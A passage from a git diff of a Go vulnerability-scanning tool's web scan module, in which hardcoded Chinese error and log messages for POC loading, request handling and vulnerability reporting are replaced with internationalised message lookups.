} if len(poc.Rules) == 0 { - return nil, fmt.Errorf("xray POC没有有效的规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_xray_no_rules")) } return poc, nil @@ -447,7 +448,7 @@ type AfrogPocAdapter struct { func loadAfrogPoc(data []byte) (*AfrogPocAdapter, error) { var poc AfrogPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("afrog格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_afrog_format_parse_failed"), err) } return &AfrogPocAdapter{&poc}, nil } @@ -519,7 +520,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { } if len(poc.Rules) == 0 { - return nil, fmt.Errorf("afrog POC没有有效的规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_afrog_no_rules")) } return poc, nil diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index e9430f0..f5c2743 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -120,24 +120,24 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte _ = common.SaveResult(result) // 构造控制台输出的日志信息 - logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:", + logMsg := i18n.Tr("webscan_vuln_detail_header", task.Req.URL, task.Poc.Name, vulName) // 添加作者信息到日志 if task.Poc.Detail.Author != "" { - logMsg += "\n\t作者:" + task.Poc.Detail.Author + logMsg += "\n\t" + i18n.Tr("webscan_vuln_author", task.Poc.Detail.Author) } // 添加参考链接到日志 if len(task.Poc.Detail.Links) != 0 { - logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n") + logMsg += "\n\t" + i18n.Tr("webscan_vuln_references", strings.Join(task.Poc.Detail.Links, "\n")) } // 添加描述信息到日志 if task.Poc.Detail.Description != "" { - logMsg += "\n\t描述:" + task.Poc.Detail.Description + logMsg += "\n\t" + i18n.Tr("webscan_vuln_description", task.Poc.Detail.Description) } // 输出成功日志 @@ -191,13 +191,13 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e // 从基础环境扩展(复用缓存的基础环境,仅添加变量声明) env, err := ExtendEnvWithVars(varDecls) if err != nil { - return false, "", fmt.Errorf("执行环境错误 %s: %w", p.Name, err) + return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_exec_env_error"), p.Name, err) } // 解析请求 req, err := ParseRequest(oReq) if err != nil { - return false, "", fmt.Errorf("请求解析错误 %s: %w", p.Name, err) + return false, "", fmt.Errorf("%s %s: %w", i18n.GetText("webscan_request_parse_error"), p.Name, err) } // 初始化变量映射 @@ -268,7 +268,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} strings.NewReader(rule.Body), ) if err != nil { - return false, fmt.Errorf("请求创建错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_create_error"), err) } // 设置请求头 @@ -489,9 +489,9 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, payloadExpr = expr } output, err := evalset1(env, variableMap, key, expr) - if err != nil { - common.LogError(i18n.Tr("webscan_set_exec_error", key, err)) - } + if err != nil { + common.LogError(i18n.Tr("webscan_set_exec_error", key, err)) + } payloads[key] = output } @@ -660,9 +660,9 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski // 生成日志消息 var logMsg string if pocDef.Name == "poc-yaml-backup-file" || pocDef.Name == "poc-yaml-sql-file" { - logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, pocDef.Name) + logMsg = i18n.Tr("webscan_vuln_detected", targetURL, pocDef.Name) } else { - logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, pocDef.Name, params) + logMsg = i18n.Tr("webscan_vuln_detected_params", targetURL, pocDef.Name, params) } // 输出成功日志 @@ -773,7 +773,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re reqURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.URL.Host, req.URL.Path) newRequest, err := http.NewRequestWithContext(oReq.Context(), rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - return false, fmt.Errorf("HTTP请求错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_http_request_error"), err) } defer func() { newRequest = nil }() @@ -786,7 +786,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) if err != nil { - return false, fmt.Errorf("请求发送错误: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_send_error"), err) } // 更新响应到变量映射 diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 1089c7a..9dc46b4 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -31,10 +31,10 @@ const ( // 错误定义 var ( - ErrInvalidURL = errors.New("无效的URL格式") - ErrEmptyTarget = errors.New("目标URL为空") - ErrPocNotFound = errors.New("未找到匹配的POC") - ErrPocLoadFailed = errors.New("POC加载失败") + ErrInvalidURL = errors.New(i18n.GetText("webscan_err_invalid_url")) + ErrEmptyTarget = errors.New(i18n.GetText("webscan_err_empty_target")) + ErrPocNotFound = errors.New(i18n.GetText("webscan_err_poc_not_found")) + ErrPocLoadFailed = errors.New(i18n.GetText("webscan_err_poc_load_failed")) ) //go:embed pocs